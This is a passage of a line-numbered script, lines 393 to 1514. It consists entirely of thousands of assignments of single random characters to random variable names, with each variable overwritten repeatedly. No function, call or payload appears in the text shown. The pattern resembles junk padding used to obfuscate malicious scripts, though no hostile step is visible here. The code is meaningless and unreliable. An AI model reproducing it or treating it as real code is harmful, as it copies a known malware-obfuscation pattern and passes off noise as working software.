393	nisnhiyya = "B";
394	nisnhiyya = "4";
395	cuprrio = "q";
396	cuprrio = "g";
397	cuprrio = "B";
398	cuprrio = "C";
399	cuprrio = "V";
400	cuprrio = "Q";
401	cuprrio = "v";
402	cuprrio = "B";
403	cuprrio = "Q";
404	cuprrio = "X";
405	cuprrio = "j";
406	cuprrio = "x";
407	cuprrio = "R";
408	cuprrio = "T";
409	cuprrio = "o";
410	cuprrio = "b";
411	cuprrio = "H";
412	cuprrio = "q";
413	cuprrio = "z";
414	cuprrio = "C";
415	cuprrio = "j";
416	cuprrio = "F";
417	cuprrio = "Q";
418	cuprrio = "U";
419	cuprrio = "r";
420	cuprrio = "U";
421	cuprrio = "n";
422	cuprrio = "L";
423	cuprrio = "N";
424	cuprrio = "F";
425	rjcnoje = "w";
426	rjcnoje = "a";
427	rjcnoje = "S";
428	rjcnoje = "Y";
429	rjcnoje = "d";
430	rjcnoje = "T";
431	rjcnoje = "Z";
432	rjcnoje = "k";
433	rjcnoje = "k";
434	rjcnoje = "e";
435	rjcnoje = "v";
436	rjcnoje = "Z";
437	rjcnoje = "O";
438	rjcnoje = "H";
439	rjcnoje = "g";
440	rjcnoje = "W";
441	rjcnoje = "b";
442	gfouefch = "l";
443	gfouefch = "Y";
444	gfouefch = "P";
445	gfouefch = "a";
446	gfouefch = "v";
447	gfouefch = "q";
448	gfouefch = "S";
449	gfouefch = "X";
450	gfouefch = "k";
451	gfouefch = "a";
452	gfouefch = "h";
453	gfouefch = "n";
454	gfouefch = "E";
455	gfouefch = "o";
456	gfouefch = "h";
457	gfouefch = "n";
458	gfouefch = "Z";
459	gfouefch = "t";
460	gfouefch = "Q";
461	gfouefch = "A";
462	gfouefch = "b";
463	gfouefch = "t";
464	gfouefch = "F";
465	gfouefch = "l";
466	gfouefch = "C";
467	gfouefch = "Q";
468	gfouefch = "B";
469	gfouefch = "i";
470	gfouefch = "H";
471	gfouefch = "e";
472	gfouefch = "I";
473	gfouefch = "a";
474	gfouefch = "Y";
475	gfouefch = "T";
476	gfouefch = "d";
477	gfouefch = "v";
478	gfouefch = "A";
479	gfouefch = "T";
480	gfouefch = "R";
481	gfouefch = "U";
482	gtrnpaouk = "a";
483	gtrnpaouk = "l";
484	gtrnpaouk = "U";
485	gtrnpaouk = "S";
486	gtrnpaouk = "t";
487	gtrnpaouk = "F";
488	gtrnpaouk = "X";
489	gtrnpaouk = "t";
490	gtrnpaouk = "Q";
491	gtrnpaouk = "k";
492	gtrnpaouk = "U";
493	gtrnpaouk = "G";
494	gtrnpaouk = "s";
495	gtrnpaouk = "V";
496	gtrnpaouk = "Q";
497	gtrnpaouk = "B";
498	gtrnpaouk = "V";
499	gtrnpaouk = "A";
500	gtrnpaouk = "S";
501	gtrnpaouk = "R";
502	gtrnpaouk = "V";
503	gtrnpaouk = "x";
504	gtrnpaouk = "M";
505	gtrnpaouk = "l";
506	gtrnpaouk = "w";
507	phkzvqg = "z";
508	phkzvqg = "V";
509	phkzvqg = "a";
510	phkzvqg = "U";
511	phkzvqg = "a";
512	phkzvqg = "j";
513	phkzvqg = "g";
514	phkzvqg = "D";
515	phkzvqg = "b";
516	phkzvqg = "I";
517	phkzvqg = "g";
518	phkzvqg = "K";
519	phkzvqg = "z";
520	phkzvqg = "h";
521	phkzvqg = "g";
522	phkzvqg = "s";
523	phkzvqg = "q";
524	phkzvqg = "t";
525	phkzvqg = "A";
526	phkzvqg = "I";
527	phkzvqg = "N";
528	phkzvqg = "Q";
529	phkzvqg = "n";
530	phkzvqg = "R";
531	phkzvqg = "H";
532	phkzvqg = "e";
533	phkzvqg = "v";
534	phkzvqg = "A";
535	phkzvqg = "Y";
536	phkzvqg = "F";
537	phkzvqg = "G";
538	phkzvqg = "L";
539	cjnpw = "y";
540	cjnpw = "W";
541	cjnpw = "i";
542	cjnpw = "w";
543	cjnpw = "H";
544	cjnpw = "r";
545	cjnpw = "u";
546	cjnpw = "J";
547	cjnpw = "q";
548	cjnpw = "h";
549	cjnpw = "M";
550	cjnpw = "z";
551	cjnpw = "Q";
552	cjnpw = "d";
553	cjnpw = "o";
554	cjnpw = "n";
555	cjnpw = "W";
556	cjnpw = "R";
557	cjnpw = "K";
558	cjnpw = "k";
559	cjnpw = "a";
560	cjnpw = "Q";
561	cjnpw = "e";
562	cjnpw = "U";
563	cjnpw = "C";
564	cjnpw = "X";
565	cjnpw = "M";
566	cjnpw = "p";
567	cjnpw = "R";
568	cjnpw = "Q";
569	mdull = "z";
570	mdull = "e";
571	mdull = "v";
572	mdull = "f";
573	mdull = "p";
574	mdull = "C";
575	mdull = "R";
576	mdull = "v";
577	mdull = "j";
578	mdull = "Z";
579	mdull = "W";
580	mdull = "F";
581	mdull = "N";
582	mdull = "F";
583	mdull = "x";
584	mdull = "G";
585	mdull = "g";
586	mdull = "N";
587	mdull = "M";
588	mdull = "I";
589	mdull = "Y";
590	mdull = "J";
591	mdull = "x";
592	lymqqkyhl = "x";
593	lymqqkyhl = "e";
594	lymqqkyhl = "K";
595	kgnaeaddt = "H";
596	kgnaeaddt = "v";
597	kgnaeaddt = "H";
598	kgnaeaddt = "d";
599	kgnaeaddt = "O";
600	kgnaeaddt = "I";
601	kgnaeaddt = "i";
602	kgnaeaddt = "o";
603	kgnaeaddt = "O";
604	kgnaeaddt = "r";
605	kgnaeaddt = "O";
606	kgnaeaddt = "f";
607	kgnaeaddt = "M";
608	kgnaeaddt = "s";
609	kgnaeaddt = "a";
610	kgnaeaddt = "D";
611	kgnaeaddt = "P";
612	kgnaeaddt = "s";
613	kgnaeaddt = "w";
614	kgnaeaddt = "X";
615	kgnaeaddt = "n";
616	kgnaeaddt = "J";
617	kgnaeaddt = "S";
618	kgnaeaddt = "J";
619	kgnaeaddt = "h";
620	kgnaeaddt = "P";
621	kgnaeaddt = "F";
622	kgnaeaddt = "r";
623	kgnaeaddt = "j";
624	kgnaeaddt = "J";
625	kgnaeaddt = "L";
626	kgnaeaddt = "D";
627	kgnaeaddt = "b";
628	kgnaeaddt = "E";
629	kgnaeaddt = "T";
630	kgnaeaddt = "F";
631	kgnaeaddt = "Q";
632	kgnaeaddt = "Y";
633	kgnaeaddt = "U";
634	kgnaeaddt = "V";
635	kgnaeaddt = "Q";
636	kgnaeaddt = "x";
637	kgnaeaddt = "K";
638	kgnaeaddt = "H";
639	kgnaeaddt = "a";
640	ekmflnfrm = "Q";
641	ekmflnfrm = "e";
642	ekmflnfrm = "s";
643	ekmflnfrm = "x";
644	ekmflnfrm = "S";
645	ekmflnfrm = "k";
646	ekmflnfrm = "m";
647	ekmflnfrm = "i";
648	ekmflnfrm = "n";
649	ekmflnfrm = "c";
650	ekmflnfrm = "r";
651	ekmflnfrm = "B";
652	ekmflnfrm = "i";
653	ekmflnfrm = "q";
654	ekmflnfrm = "C";
655	ekmflnfrm = "G";
656	ekmflnfrm = "b";
657	ekmflnfrm = "h";
658	ekmflnfrm = "F";
659	ekmflnfrm = "q";
660	ekmflnfrm = "w";
661	ekmflnfrm = "d";
662	ekmflnfrm = "E";
663	pqajzpt = "o";
664	pqajzpt = "B";
665	pqajzpt = "a";
666	pqajzpt = "H";
667	pqajzpt = "s";
668	pqajzpt = "e";
669	pqajzpt = "L";
670	pqajzpt = "T";
671	pqajzpt = "i";
672	pqajzpt = "M";
673	pqajzpt = "e";
674	pqajzpt = "S";
675	pqajzpt = "H";
676	pqajzpt = "o";
677	pqajzpt = "K";
678	pqajzpt = "b";
679	pqajzpt = "g";
680	pqajzpt = "H";
681	pqajzpt = "i";
682	pqajzpt = "A";
683	pqajzpt = "O";
684	pqajzpt = "O";
685	pqajzpt = "S";
686	pqajzpt = "u";
687	pqajzpt = "t";
688	pqajzpt = "f";
689	pqajzpt = "y";
690	pqajzpt = "f";
691	pqajzpt = "M";
692	pqajzpt = "l";
693	iouiakv = "T";
694	iouiakv = "Z";
695	iouiakv = "D";
696	iouiakv = "b";
697	iouiakv = "o";
698	iouiakv = "d";
699	iouiakv = "e";
700	iouiakv = "D";
701	iouiakv = "S";
702	iouiakv = "v";
703	iouiakv = "S";
704	iouiakv = "Z";
705	iouiakv = "i";
706	iouiakv = "j";
707	fijurz = "T";
708	fijurz = "w";
709	fijurz = "f";
710	fijurz = "z";
711	fijurz = "z";
712	fijurz = "U";
713	fijurz = "V";
714	fijurz = "f";
715	fijurz = "x";
716	fijurz = "F";
717	fijurz = "z";
718	fijurz = "I";
719	fijurz = "o";
720	fijurz = "X";
721	fijurz = "v";
722	fijurz = "W";
723	fijurz = "P";
724	fijurz = "G";
725	fijurz = "A";
726	fijurz = "T";
727	fijurz = "q";
728	fijurz = "Q";
729	fijurz = "c";
730	fijurz = "c";
731	fijurz = "M";
732	fijurz = "B";
733	fijurz = "R";
734	fijurz = "k";
735	fijurz = "z";
736	fijurz = "r";
737	fijurz = "K";
738	fijurz = "Y";
739	fijurz = "J";
740	fijurz = "Y";
741	fijurz = "p";
742	fijurz = "N";
743	fijurz = "l";
744	fijurz = "k";
745	fijurz = "D";
746	fijurz = "H";
747	fijurz = "D";
748	fijurz = "G";
749	fijurz = "W";
750	fijurz = "s";
751	bhkljcywp = "X";
752	bhkljcywp = "W";
753	bhkljcywp = "I";
754	bhkljcywp = "a";
755	bhkljcywp = "k";
756	bhkljcywp = "g";
757	bhkljcywp = "i";
758	bhkljcywp = "x";
759	bhkljcywp = "D";
760	bhkljcywp = "j";
761	bhkljcywp = "K";
762	bhkljcywp = "l";
763	bhkljcywp = "z";
764	bhkljcywp = "w";
765	bhkljcywp = "P";
766	bhkljcywp = "s";
767	bhkljcywp = "k";
768	bhkljcywp = "N";
769	bhkljcywp = "S";
770	bhkljcywp = "M";
771	bhkljcywp = "A";
772	bhkljcywp = "J";
773	bhkljcywp = "g";
774	bhkljcywp = "I";
775	bhkljcywp = "o";
776	bhkljcywp = "L";
777	bhkljcywp = "t";
778	bhkljcywp = "m";
779	bhkljcywp = "Y";
780	bhkljcywp = "w";
781	bhkljcywp = "F";
782	bhkljcywp = "b";
783	bhkljcywp = "o";
784	bhkljcywp = "i";
785	bhkljcywp = "I";
786	bhkljcywp = "t";
787	bhkljcywp = "M";
788	bhkljcywp = "q";
789	bhkljcywp = "x";
790	bhkljcywp = "N";
791	bhkljcywp = "e";
792	bhkljcywp = "G";
793	bhkljcywp = "x";
794	bhkljcywp = "C";
795	bhkljcywp = "8";
796	dvwfldoz = "j";
797	dvwfldoz = "B";
798	dvwfldoz = "N";
799	dvwfldoz = "f";
800	dvwfldoz = "r";
801	dvwfldoz = "D";
802	dvwfldoz = "a";
803	dvwfldoz = "v";
804	dvwfldoz = "N";
805	dvwfldoz = "6";
806	nirdhwx = "B";
807	nirdhwx = "h";
808	nirdhwx = "R";
809	nirdhwx = "d";
810	nirdhwx = "v";
811	nirdhwx = "T";
812	nirdhwx = "C";
813	nirdhwx = "a";
814	nirdhwx = "p";
815	nirdhwx = "B";
816	nirdhwx = "W";
817	nirdhwx = "o";
818	nirdhwx = "s";
819	nirdhwx = "z";
820	nirdhwx = "c";
821	nirdhwx = "u";
822	nirdhwx = "l";
823	nirdhwx = "n";
824	nirdhwx = "B";
825	nirdhwx = "Q";
826	nirdhwx = "c";
827	nirdhwx = "h";
828	nirdhwx = "W";
829	nirdhwx = "s";
830	nirdhwx = "u";
831	nirdhwx = "b";
832	nirdhwx = "t";
833	nirdhwx = "d";
834	nirdhwx = "D";
835	nirdhwx = "L";
836	nirdhwx = "g";
837	nirdhwx = "F";
838	nirdhwx = "m";
839	hfnjqd = "x";
840	hfnjqd = "L";
841	hfnjqd = "n";
842	hfnjqd = "v";
843	hfnjqd = "f";
844	hfnjqd = "y";
845	hfnjqd = "J";
846	hfnjqd = "F";
847	hfnjqd = "V";
848	hfnjqd = "J";
849	hfnjqd = "M";
850	hfnjqd = "x";
851	hfnjqd = "U";
852	hfnjqd = "E";
853	hfnjqd = "E";
854	hfnjqd = "y";
855	hfnjqd = "h";
856	hfnjqd = "L";
857	hfnjqd = "D";
858	hfnjqd = "N";
859	zyzksp = "B";
860	zyzksp = "y";
861	zyzksp = "Z";
862	zyzksp = "y";
863	zyzksp = "o";
864	zyzksp = "b";
865	zyzksp = "n";
866	zyzksp = "k";
867	zyzksp = "f";
868	zyzksp = "g";
869	zyzksp = "F";
870	zyzksp = "G";
871	zyzksp = "o";
872	zyzksp = "j";
873	zyzksp = "B";
874	zyzksp = "I";
875	zyzksp = "U";
876	zyzksp = "s";
877	zyzksp = "X";
878	zyzksp = "h";
879	cpphwtq = "j";
880	cpphwtq = "i";
881	cpphwtq = "D";
882	cpphwtq = "k";
883	cpphwtq = "m";
884	cpphwtq = "b";
885	cpphwtq = "r";
886	cpphwtq = "f";
887	cpphwtq = "j";
888	cpphwtq = "V";
889	cpphwtq = "a";
890	cpphwtq = "M";
891	cpphwtq = "T";
892	cpphwtq = "q";
893	cpphwtq = "C";
894	cpphwtq = "n";
895	cpphwtq = "R";
896	cpphwtq = "l";
897	cpphwtq = "l";
898	cpphwtq = "A";
899	cpphwtq = "J";
900	cpphwtq = "l";
901	cpphwtq = "E";
902	cpphwtq = "z";
903	cpphwtq = "B";
904	cpphwtq = "k";
905	cpphwtq = "Z";
906	cpphwtq = "b";
907	cpphwtq = "C";
908	cpphwtq = "G";
909	cpphwtq = "%";
910	gqrkzd = "m";
911	gqrkzd = "l";
912	gqrkzd = "p";
913	gqrkzd = "D";
914	gqrkzd = "U";
915	gqrkzd = "o";
916	gqrkzd = "F";
917	gqrkzd = "i";
918	gqrkzd = "g";
919	gqrkzd = "E";
920	gqrkzd = "T";
921	gqrkzd = "J";
922	gqrkzd = "J";
923	gqrkzd = "v";
924	gqrkzd = "C";
925	gqrkzd = "V";
926	gqrkzd = "e";
927	gqrkzd = "I";
928	gqrkzd = "M";
929	gqrkzd = "z";
930	gqrkzd = "U";
931	gqrkzd = "v";
932	gqrkzd = "Q";
933	gqrkzd = "F";
934	gqrkzd = "t";
935	gqrkzd = "p";
936	gqrkzd = "T";
937	gqrkzd = "K";
938	gqrkzd = "K";
939	gqrkzd = "i";
940	gqrkzd = "d";
941	gqrkzd = "n";
942	gqrkzd = "E";
943	gqrkzd = "W";
944	gqrkzd = "H";
945	gqrkzd = "C";
946	gqrkzd = "q";
947	gqrkzd = "q";
948	gqrkzd = "Y";
949	gqrkzd = "X";
950	gqrkzd = "I";
951	gqrkzd = "J";
952	gqrkzd = "n";
953	gqrkzd = "D";
954	gqrkzd = "-";
955	eiyzllw = "s";
956	eiyzllw = "t";
957	zmkbndld = "J";
958	zmkbndld = "f";
959	zmkbndld = "M";
960	zmkbndld = "L";
961	zmkbndld = "L";
962	zmkbndld = "\"";
963	dgawfxryc = "Z";
964	dgawfxryc = "z";
965	dgawfxryc = "G";
966	dgawfxryc = "b";
967	dgawfxryc = "h";
968	dgawfxryc = "n";
969	dgawfxryc = "d";
970	dgawfxryc = "f";
971	dgawfxryc = "P";
972	dgawfxryc = "m";
973	dgawfxryc = "r";
974	dgawfxryc = "V";
975	dgawfxryc = "a";
976	dgawfxryc = "N";
977	dgawfxryc = "Z";
978	dgawfxryc = "s";
979	dgawfxryc = "w";
980	dgawfxryc = "B";
981	dgawfxryc = "p";
982	dgawfxryc = "G";
983	dgawfxryc = "J";
984	dgawfxryc = "m";
985	dgawfxryc = "N";
986	dgawfxryc = "m";
987	dgawfxryc = "B";
988	dgawfxryc = "w";
989	dgawfxryc = "s";
990	dgawfxryc = "o";
991	dgawfxryc = "b";
992	dgawfxryc = "d";
993	tsafs = "L";
994	tsafs = "q";
995	tsafs = "m";
996	tsafs = "s";
997	tsafs = "Q";
998	tsafs = "h";
999	tsafs = "Z";
1000	tsafs = "U";
1001	tsafs = "m";
1002	tsafs = "s";
1003	tsafs = "S";
1004	jqrjop = "T";
1005	jqrjop = "R";
1006	jqrjop = "T";
1007	jqrjop = "b";
1008	jqrjop = "o";
1009	jqrjop = "B";
1010	jqrjop = "i";
1011	jqrjop = "B";
1012	jqrjop = "P";
1013	jqrjop = "P";
1014	jqrjop = "Q";
1015	jqrjop = "D";
1016	jqrjop = "l";
1017	jqrjop = "c";
1018	jqrjop = "v";
1019	jqrjop = "T";
1020	jqrjop = "C";
1021	jqrjop = "G";
1022	jqrjop = "I";
1023	jqrjop = "f";
1024	jqrjop = "T";
1025	jqrjop = "i";
1026	jqrjop = "o";
1027	jqrjop = "V";
1028	jqrjop = "C";
1029	jqrjop = "D";
1030	jqrjop = "i";
1031	jqrjop = "n";
1032	jqrjop = "n";
1033	rbqfrao = "F";
1034	rbqfrao = "m";
1035	rbqfrao = "V";
1036	rbqfrao = "v";
1037	rbqfrao = "E";
1038	rbqfrao = "f";
1039	rbqfrao = "a";
1040	rbqfrao = "v";
1041	rbqfrao = "I";
1042	rbqfrao = "Q";
1043	rbqfrao = "E";
1044	rbqfrao = "h";
1045	rbqfrao = "N";
1046	rbqfrao = "s";
1047	rbqfrao = "J";
1048	rbqfrao = "J";
1049	rbqfrao = "Q";
1050	rbqfrao = "W";
1051	rbqfrao = "R";
1052	dpxsle = "i";
1053	dpxsle = "i";
1054	dpxsle = "q";
1055	dpxsle = "N";
1056	dpxsle = "z";
1057	dpxsle = "e";
1058	dpxsle = "k";
1059	dpxsle = "H";
1060	dpxsle = "X";
1061	dpxsle = "L";
1062	dpxsle = "U";
1063	dpxsle = "A";
1064	dpxsle = "n";
1065	dpxsle = "H";
1066	dpxsle = "X";
1067	dpxsle = "M";
1068	dpxsle = "x";
1069	dpxsle = "w";
1070	dpxsle = "b";
1071	dpxsle = "S";
1072	dpxsle = "U";
1073	dpxsle = "B";
1074	dpxsle = "q";
1075	dpxsle = "u";
1076	dpxsle = "A";
1077	dpxsle = "y";
1078	dpxsle = "G";
1079	dpxsle = "t";
1080	dpxsle = "B";
1081	dpxsle = "1";
1082	hiqonck = "V";
1083	hiqonck = "x";
1084	hiqonck = "f";
1085	hiqonck = "o";
1086	hiqonck = "e";
1087	hiqonck = "z";
1088	hiqonck = "h";
1089	hiqonck = "W";
1090	hiqonck = "T";
1091	hiqonck = "q";
1092	hiqonck = "J";
1093	hiqonck = "a";
1094	hiqonck = "S";
1095	hiqonck = "a";
1096	hiqonck = "W";
1097	hiqonck = "V";
1098	hiqonck = "k";
1099	hiqonck = "v";
1100	hiqonck = "J";
1101	hiqonck = "T";
1102	hiqonck = "i";
1103	hiqonck = "V";
1104	hiqonck = "g";
1105	hiqonck = "x";
1106	hiqonck = "O";
1107	hiqonck = "E";
1108	hiqonck = "b";
1109	hiqonck = "r";
1110	hiqonck = "u";
1111	hiqonck = "a";
1112	hiqonck = "G";
1113	hiqonck = "E";
1114	hiqonck = "I";
1115	hiqonck = "v";
1116	hiqonck = "D";
1117	hiqonck = "s";
1118	hiqonck = "L";
1119	hiqonck = "&";
1120	zcmkcbg = "J";
1121	zcmkcbg = "r";
1122	zcmkcbg = "W";
1123	zcmkcbg = "A";
1124	zcmkcbg = "O";
1125	zcmkcbg = "S";
1126	zcmkcbg = "y";
1127	zcmkcbg = "U";
1128	zcmkcbg = "z";
1129	zcmkcbg = "V";
1130	zcmkcbg = "K";
1131	zcmkcbg = "g";
1132	zcmkcbg = "q";
1133	zcmkcbg = "p";
1134	zcmkcbg = "M";
1135	zcmkcbg = "z";
1136	zcmkcbg = "c";
1137	zcmkcbg = "M";
1138	zcmkcbg = "x";
1139	zcmkcbg = "n";
1140	zcmkcbg = "F";
1141	zcmkcbg = "P";
1142	zcmkcbg = "F";
1143	zcmkcbg = "w";
1144	zcmkcbg = "B";
1145	zcmkcbg = "f";
1146	zcmkcbg = "R";
1147	zcmkcbg = "C";
1148	zcmkcbg = "n";
1149	zcmkcbg = "b";
1150	zcmkcbg = "l";
1151	zcmkcbg = "E";
1152	zcmkcbg = "i";
1153	zcmkcbg = "M";
1154	zcmkcbg = "j";
1155	zcmkcbg = "Q";
1156	zcmkcbg = "y";
1157	zcmkcbg = "w";
1158	zcmkcbg = "3";
1159	mtyhxf = "a";
1160	mtyhxf = "I";
1161	mtyhxf = "i";
1162	mtyhxf = "R";
1163	mtyhxf = "H";
1164	mtyhxf = "B";
1165	mtyhxf = "C";
1166	mtyhxf = "c";
1167	mtyhxf = "q";
1168	mtyhxf = "A";
1169	mtyhxf = "c";
1170	mtyhxf = "m";
1171	mtyhxf = "L";
1172	mtyhxf = "Q";
1173	mtyhxf = "P";
1174	mtyhxf = "q";
1175	mtyhxf = "l";
1176	mtyhxf = "o";
1177	mtyhxf = "k";
1178	rzlwfy = "H";
1179	rzlwfy = "B";
1180	rzlwfy = "z";
1181	rzlwfy = "t";
1182	rzlwfy = "y";
1183	rzlwfy = "i";
1184	rzlwfy = "p";
1185	rzlwfy = "p";
1186	rzlwfy = "I";
1187	rzlwfy = "X";
1188	rzlwfy = "O";
1189	rzlwfy = "j";
1190	rzlwfy = "b";
1191	rzlwfy = "Z";
1192	rzlwfy = "U";
1193	rzlwfy = "P";
1194	rzlwfy = "J";
1195	rzlwfy = "X";
1196	rzlwfy = "G";
1197	rzlwfy = "t";
1198	rzlwfy = "j";
1199	rzlwfy = "V";
1200	rzlwfy = "q";
1201	rzlwfy = "y";
1202	rzlwfy = "A";
1203	rzlwfy = "b";
1204	rzlwfy = "c";
1205	dsfewlvv = "P";
1206	dsfewlvv = "e";
1207	mdayr = "k";
1208	mdayr = "f";
1209	mdayr = "l";
1210	mdayr = "f";
1211	mdayr = "O";
1212	mdayr = "T";
1213	mdayr = "v";
1214	mdayr = "j";
1215	mdayr = "K";
1216	mdayr = "W";
1217	mdayr = "P";
1218	mdayr = "t";
1219	mdayr = "v";
1220	mdayr = "M";
1221	mdayr = "r";
1222	mdayr = "O";
1223	mdayr = "a";
1224	mdayr = "K";
1225	mdayr = "s";
1226	mdayr = "v";
1227	qpbberlp = "D";
1228	qpbberlp = "z";
1229	qpbberlp = "V";
1230	qpbberlp = "O";
1231	vsdawfo = "I";
1232	vsdawfo = "m";
1233	vsdawfo = "t";
1234	vsdawfo = "y";
1235	vsdawfo = "X";
1236	vsdawfo = "G";
1237	vsdawfo = "D";
1238	vsdawfo = "x";
1239	vsdawfo = "y";
1240	vsdawfo = "i";
1241	vsdawfo = "B";
1242	vsdawfo = "X";
1243	vsdawfo = "f";
1244	vsdawfo = "t";
1245	vsdawfo = "N";
1246	vsdawfo = "Z";
1247	vsdawfo = "n";
1248	vsdawfo = "t";
1249	vsdawfo = "V";
1250	vsdawfo = "D";
1251	vsdawfo = "l";
1252	vsdawfo = "P";
1253	vsdawfo = "T";
1254	vsdawfo = "l";
1255	vsdawfo = "D";
1256	vsdawfo = "L";
1257	vsdawfo = "P";
1258	vsdawfo = "Y";
1259	vsdawfo = "f";
1260	vsdawfo = "Z";
1261	vsdawfo = "P";
1262	vsdawfo = "U";
1263	vsdawfo = "e";
1264	vsdawfo = "P";
1265	vsdawfo = "E";
1266	vsdawfo = "W";
1267	vsdawfo = "w";
1268	vsdawfo = "r";
1269	vsdawfo = "R";
1270	vsdawfo = "Z";
1271	vsdawfo = "9";
1272	orvbuucl = "L";
1273	orvbuucl = "M";
1274	orvbuucl = "n";
1275	orvbuucl = "b";
1276	orvbuucl = "X";
1277	orvbuucl = "P";
1278	orvbuucl = "y";
1279	orvbuucl = "l";
1280	orvbuucl = "d";
1281	orvbuucl = "G";
1282	orvbuucl = "D";
1283	orvbuucl = "i";
1284	orvbuucl = "l";
1285	orvbuucl = "U";
1286	orvbuucl = "b";
1287	orvbuucl = "p";
1288	orvbuucl = "y";
1289	orvbuucl = "Y";
1290	orvbuucl = "Y";
1291	orvbuucl = "A";
1292	orvbuucl = "p";
1293	orvbuucl = "z";
1294	orvbuucl = "A";
1295	orvbuucl = "S";
1296	orvbuucl = "P";
1297	orvbuucl = "L";
1298	orvbuucl = "b";
1299	orvbuucl = "_";
1300	rwsrznj = "a";
1301	rwsrznj = "M";
1302	rwsrznj = "h";
1303	rwsrznj = "z";
1304	rwsrznj = "d";
1305	rwsrznj = "C";
1306	rwsrznj = "f";
1307	rwsrznj = "d";
1308	rwsrznj = "D";
1309	rwsrznj = "o";
1310	rwsrznj = "H";
1311	rwsrznj = "R";
1312	rwsrznj = "d";
1313	rwsrznj = "S";
1314	rwsrznj = "U";
1315	rwsrznj = "C";
1316	rwsrznj = "h";
1317	rwsrznj = "p";
1318	rwsrznj = "L";
1319	rwsrznj = "P";
1320	rwsrznj = "B";
1321	rwsrznj = "s";
1322	rwsrznj = "L";
1323	rwsrznj = "K";
1324	rwsrznj = "L";
1325	rwsrznj = "R";
1326	rwsrznj = "d";
1327	rwsrznj = "D";
1328	rwsrznj = "k";
1329	rwsrznj = "Z";
1330	rwsrznj = "L";
1331	rwsrznj = "Z";
1332	rwsrznj = "J";
1333	rwsrznj = "u";
1334	rwsrznj = "n";
1335	rwsrznj = "u";
1336	rwsrznj = "C";
1337	rwsrznj = "p";
1338	rwsrznj = "K";
1339	rwsrznj = "l";
1340	rwsrznj = "j";
1341	rwsrznj = "o";
1342	rwsrznj = "v";
1343	rwsrznj = "M";
1344	rwsrznj = "o";
1345	wwdrznpaa = "\\";
1346	hzirv = "D";
1347	hzirv = "T";
1348	hzirv = "G";
1349	hzirv = "r";
1350	hzirv = "W";
1351	hzirv = "b";
1352	hzirv = "Y";
1353	trczgqavy = "i";
1354	trczgqavy = "p";
1355	trczgqavy = "o";
1356	trczgqavy = "Q";
1357	trczgqavy = "H";
1358	trczgqavy = "U";
1359	trczgqavy = "u";
1360	trczgqavy = "t";
1361	trczgqavy = "Q";
1362	trczgqavy = "n";
1363	trczgqavy = "b";
1364	trczgqavy = "U";
1365	trczgqavy = "p";
1366	trczgqavy = "r";
1367	trczgqavy = "W";
1368	trczgqavy = "H";
1369	trczgqavy = "A";
1370	trczgqavy = "R";
1371	trczgqavy = "L";
1372	trczgqavy = "e";
1373	trczgqavy = "H";
1374	trczgqavy = "s";
1375	trczgqavy = "B";
1376	trczgqavy = "m";
1377	trczgqavy = "w";
1378	trczgqavy = "I";
1379	sdhorhz = "e";
1380	sdhorhz = "K";
1381	sdhorhz = "L";
1382	sdhorhz = "i";
1383	sdhorhz = "u";
1384	sdhorhz = "q";
1385	txpgbs = "w";
1386	txpgbs = "a";
1387	txpgbs = "t";
1388	txpgbs = "t";
1389	txpgbs = "y";
1390	txpgbs = "T";
1391	txpgbs = "y";
1392	txpgbs = "F";
1393	txpgbs = "a";
1394	txpgbs = "d";
1395	txpgbs = "I";
1396	txpgbs = "D";
1397	txpgbs = "I";
1398	txpgbs = "w";
1399	txpgbs = "s";
1400	txpgbs = "I";
1401	txpgbs = "R";
1402	txpgbs = "R";
1403	txpgbs = "I";
1404	txpgbs = "W";
1405	txpgbs = "c";
1406	txpgbs = "M";
1407	txpgbs = "K";
1408	txpgbs = "N";
1409	txpgbs = "S";
1410	txpgbs = "J";
1411	txpgbs = "i";
1412	txpgbs = "Q";
1413	txpgbs = "g";
1414	txpgbs = "G";
1415	txpgbs = "F";
1416	txpgbs = "j";
1417	txpgbs = "s";
1418	txpgbs = "l";
1419	txpgbs = "o";
1420	txpgbs = "x";
1421	txpgbs = "r";
1422	txpgbs = "H";
1423	txpgbs = "f";
1424	txpgbs = "N";
1425	txpgbs = "A";
1426	txpgbs = "p";
1427	txpgbs = "0";
1428	gsoynibke = "W";
1429	gsoynibke = "g";
1430	gsoynibke = "E";
1431	gsoynibke = "S";
1432	gsoynibke = "i";
1433	gsoynibke = "V";
1434	gsoynibke = "w";
1435	gsoynibke = "p";
1436	pitfmdph = "h";
1437	pitfmdph = "V";
1438	pitfmdph = "h";
1439	pitfmdph = "v";
1440	pitfmdph = "I";
1441	pitfmdph = "M";
1442	pitfmdph = "I";
1443	pitfmdph = "O";
1444	pitfmdph = "E";
1445	pitfmdph = "S";
1446	pitfmdph = "p";
1447	pitfmdph = "n";
1448	pitfmdph = "I";
1449	pitfmdph = "c";
1450	pitfmdph = "W";
1451	pitfmdph = "C";
1452	pitfmdph = "A";
1453	pitfmdph = "k";
1454	pitfmdph = "R";
1455	pitfmdph = "b";
1456	pitfmdph = "p";
1457	pitfmdph = "W";
1458	pitfmdph = "Q";
1459	pitfmdph = "D";
1460	pitfmdph = "c";
1461	pitfmdph = "s";
1462	pitfmdph = "l";
1463	pitfmdph = "C";
1464	pitfmdph = "o";
1465	pitfmdph = "f";
1466	pitfmdph = "z";
1467	pitfmdph = "m";
1468	pitfmdph = "g";
1469	sayuccohu = "d";
1470	sayuccohu = "g";
1471	sayuccohu = "y";
1472	sayuccohu = "P";
1473	sayuccohu = "i";
1474	sayuccohu = "c";
1475	sayuccohu = "s";
1476	sayuccohu = "W";
1477	sayuccohu = "b";
1478	sayuccohu = "j";
1479	sayuccohu = "R";
1480	sayuccohu = "G";
1481	sayuccohu = "p";
1482	sayuccohu = "c";
1483	sayuccohu = "r";
1484	sayuccohu = "R";
1485	sayuccohu = "b";
1486	sayuccohu = "U";
1487	sayuccohu = "R";
1488	sayuccohu = "c";
1489	sayuccohu = "a";
1490	sayuccohu = "m";
1491	sayuccohu = "i";
1492	sayuccohu = "p";
1493	sayuccohu = "U";
1494	sayuccohu = "Q";
1495	sayuccohu = "u";
1496	sayuccohu = "P";
1497	sayuccohu = "n";
1498	sayuccohu = "O";
1499	sayuccohu = "c";
1500	sayuccohu = "n";
1501	sayuccohu = "5";
1502	ykamjcjn = "S";
1503	ykamjcjn = "W";
1504	ykamjcjn = "z";
1505	ykamjcjn = "b";
1506	ykamjcjn = "X";
1507	ykamjcjn = "o";
1508	ykamjcjn = "N";
1509	ykamjcjn = "J";
1510	ykamjcjn = "k";
1511	ykamjcjn = "a";
1512	ykamjcjn = "K";
1513	ykamjcjn = "g";
1514	ykamjcjn = "C";
